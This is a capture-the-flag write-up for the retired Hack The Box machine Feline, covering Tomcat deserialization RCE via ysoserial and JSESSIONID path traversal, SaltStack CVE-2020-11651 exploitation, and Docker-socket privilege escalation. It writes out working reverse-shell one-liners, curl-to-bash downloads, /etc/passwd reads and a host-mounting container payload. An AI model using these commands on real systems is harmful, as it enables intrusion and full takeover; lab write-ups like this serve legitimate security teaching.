Skip to content

Latest commit

 

History

History
317 lines (249 loc) · 10.6 KB

write-up-feline.md

File metadata and controls

317 lines (249 loc) · 10.6 KB

Feline

This is the write-up for the box Feline that got retired at the 20th February 2021. My IP address was 10.10.14.7 while I did this.

Let's put this in our hosts file:

10.10.10.205    feline.htb

Enumeration

Starting with a Nmap scan:

nmap -sC -sV -o nmap/feline.nmap 10.10.10.205
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.27
|_http-title: VirusBucket
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Checking HTTP (Port 8080)

The title of the web page is VirusBucket and it advertises a malware analysis and testing platform. There is a menu on top and Service forwards to a page where files can be uploaded:

VirusBucket Service

According to the Nmap scan, it is an Apache Tomcat web server, but the default /manager directory cannot be found and is probably disabled.

Uploading a file to the service and intercepting the request with Burpsuite to analyze the application:

POST /upload.jsp?email=testuser@test.local HTTP/1.1
Host: 10.10.10.205:8080
(...)

-------------------------38175474526266468582873467086
Content-Disposition: form-data; name="image"; filename="test.txt"
Content-Type: text/plain

This is a test file!

-----------------------------38175474526266468582873467086--
File uploaded successfully!

The test file gets uploaded successfully, but when leaving the filename empty, it responds with Java errors:

<div id="error">
java.io.FileNotFoundException: /opt/samples/uploads (Is a directory)
(...)
at org.apache.commons.fileupload.disk.DiskFileItem.write(DiskFileItem.java:394)
(...)

One of the errors is from the framework Apache Commons that has functions to serialize data, which means there may be a Java Deserialization vulnerability in this application.

By searching for vulnerabilities in Tomcat version 9.0.27, an article from Red Timmy Security can be found that describes a Remote Code Execution by deserialization.

A way to upload a serialized object to the disk is needed and when including it, the session ID will be obtained to gain code execution.

To create a serialized object, the tool ysoserial will be used:

java -jar ysoserial.jar CommonsCollections4 "ping -c 1 10.10.14.7" > serialized.session

Uploading serialized.session to the application:

POST /upload.jsp?email=testuser@test.local HTTP/1.1
(...)

Content-Disposition: form-data; name="image"; filename="serialized.session"
Content-Type: application/octet-stream

(...data...)

Sending another request to exploit a Path Traversal vulnerability in the Cookie header and executing the uploaded file in the directory /opt/samples/uploads:

GET /service/ HTTP/1.1
(...)
Cookie: JSESSIONID=../../../../../../../opt/samples/uploads/serialized

Tomcat will request the serialized object and the tcpdump listener on my IP will receive an ICMP package and proofs command execution. Lets use the vulnerabilities to upload a reverse shell script and execute it.

Creating shell.sh that will be uploaded and executed:

bash -i >& /dev/tcp/10.10.14.7/9001 0>&1

Creating two serialized objects, one that uploads shell.sh with curl and another one that executes it:

java -jar ysoserial.jar CommonsCollections4 "curl 10.10.14.7:8000/shell.sh -o /dev/shm/shell.sh" > shellupload.session

java -jar /opt/ysoserial/ysoserial.jar CommonsCollections4 "bash /dev/shm/shell.sh" > shellexec.session

Uploading shellupload.session and shellexec.session on the web service:

Content-Disposition: form-data; name="image"; filename="shellupload.session"
Content-Type: application/octet-stream

(...data...)
Content-Disposition: form-data; name="image"; filename="shellexec.session"
Content-Type: application/octet-stream

(...data...)

Executing the serialized objects one after another:

Cookie: JSESSIONID=../../../../../../../opt/samples/uploads/shellupload
Cookie: JSESSIONID=../../../../../../../opt/samples/uploads/shellexec

The first request downloads shell.sh and the second request executes it successfully and the listener on my IP and port 9001 starts a reverse shell as tomcat.

Privilege Escalation

When checking the network interfaces, if shows a docker0 interface, so Docker is running on this box. This user does not have permission to look at the running Docker instances, but the ports on localhost could give insight on that:

ss -lnpt

State    Recv-Q   Send-Q          Local Address:Port        Peer Address:Port   Process
(...)
LISTEN   0        4096                127.0.0.1:4505             0.0.0.0:*
LISTEN   0        4096                127.0.0.1:4506             0.0.0.0:*
LISTEN   0        4096                127.0.0.1:8000             0.0.0.0:*
(...)

Checking port 4505 and 4506 for web services:

curl -v -k localhost:4505

* Received HTTP/0.9 when not allowed
* Closing connection 0
curl -v -k localhost:4506

* Received HTTP/0.9 when not allowed
* Closing connection 0

There is no web service running on port 4505 and 4506, but these ports are by default used for SaltStack to automate management and configuration of servers.

Checking port 8000 for web services:

curl -v -k localhost:8000
* Empty reply from server
* Connection #0 to host localhost left intact

A web service is running on port 8000, but it may has a certificate, so HTTPS has to be checked:

curl -v -k https://localhost:8000
Server certificate:
* subject: C=US; ST=Utah; L=Salt Lake City; O=SaltStack; CN=localhost
(...)

HTTP/1.1 200 OK
Content-Type: application/json
Server: CherryPy/18.6.0
(...)

* Connection #0 to host localhost left intact
{"return": "Welcome", "clients": ["local", "local_async", "local_batch", "local_subset", "runner", "runner_async", "ssh", "wheel", "wheel_async"]}

It responds back with a Server header of CherryPy which is a minimalist Python web framework and the JSON data indicates, that this could be some kind of API. The certificates owner is SaltStack which proofs that these instances are used for that purpose.

Exploiting SaltStack

There is a public vulnerability for SaltStack (CVE-2020-11651) that can be used:

searchsploit saltstack

Saltstack 3000.1 - Remote Code Execution

To access the ports from our box, the tool Chisel is useful to forward ports from a remote server.

Starting the Chisel server on our local client:

./chisel server -p 8001 --reverse

Forwarding the ports with Chisel from the box:

./chisel client 10.10.14.7:8001 R:4505:127.0.0.1:4505 R:4506:127.0.0.1:4506 R:8000:127.0.0.1:8000

Executing the exploit script to read /etc/passwd:

python3 48421.py -r /etc/passwd
[+] Checking salt-master (127.0.0.1:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: gdHNelebSP/ioIZ9lqH/dat4LzNeDEwL9IlkecC+VQ2pBanpW4IajfHS4e4GzkOuiAE5J52oSkE=
[+] Attemping to read /etc/passwd from 127.0.0.1

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
(...)

Command execution works, so this can be used to gain a reverse shell:

python3 48421.py --exec 'bash -c "bash -i >& /dev/tcp/10.10.14.7/9002 0>&1"'

After sending the command, the listener on my IP and port 9002 starts a reverse shell as root on the hostname 2d24bf61767c. This hostname is randomly generated by Docker and we got access to the container.

Privilege Escalation to root

To get an attack surface on the container, it is recommended to run any Linux Enumeration script:

curl 10.10.14.4/linpeas.sh | bash

This container can access the Docker socket and the file /var/run/docker.sock is writable. Also the .bash_history file has contents and one of the commands hints at this:

curl -s --unix-socket /var/run/docker.sock http://localhost/images/json

A writable Docker socket can be used to escalate privileges as described on HackTricks.

As the docker package is not installed in the container, the Docker Web API has to be used with curl to execute Docker functionalities. In this case, it shows information about all images on the box:

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json

[
  {
    "Containers": -1,
    "Created": 1590787186,
    "Id": "sha256:a24bb4013296f61e89ba57005a7b3e52274d8edd3ae2077d04395f806b63d83e",
    "Labels": null,
    "ParentId": "",
    "RepoDigests": null,
    "RepoTags": [
      "sandbox:latest"
    ],
    "SharedSize": -1,
    "Size": 5574537,
    "VirtualSize": 5574537
  },
(...)
]

The Docker Engine API documentation explains all options that are possible with this service. With this knowledge, we are able to create our own Docker container that runs prepared commands as soon as it starts.

Copying the shell script shell.sh from before to the host in /tmp that will be executed:

tomcat@VirusBucket:/tmp$ wget 10.10.14.7/shell.sh

Creating a JSON file feline_container.json that contains the image sandbox on the box and the command to run when the container starts:

{
        "Image":"sandbox",
        "cmd":["/bin/sh","-c","chroot /mnt sh -c \"bash /tmp/shell.sh\""],
        "Binds": [
                "/:/mnt:rw"
        ]
}

Downloading the JSON file to the container:

root@2d24bf61767c:~# wget 10.10.14.7/feline_container.json

Creating Docker container with the JSON file:

curl -X POST -H "Content-Type: application/json" -d @feline_container.json --unix-socket /var/run/docker.sock http://localhost/containers/create

{"Id":"a69a34cec39d48d5e5460e313be7c9fd8be5ba89c92a9972acfd6a01b7b623dd","Warnings":[]}

Starting the container:

curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/a69a34cec39d48d5e5460e313be7c9fd8be5ba89c92a9972acfd6a01b7b623dd/start

As soon as the container starts, the command from the JSON file will be executed. It will execute the shell script shell.sh from the host and the listener on my IP and port 9001 starts a reverse shell as root!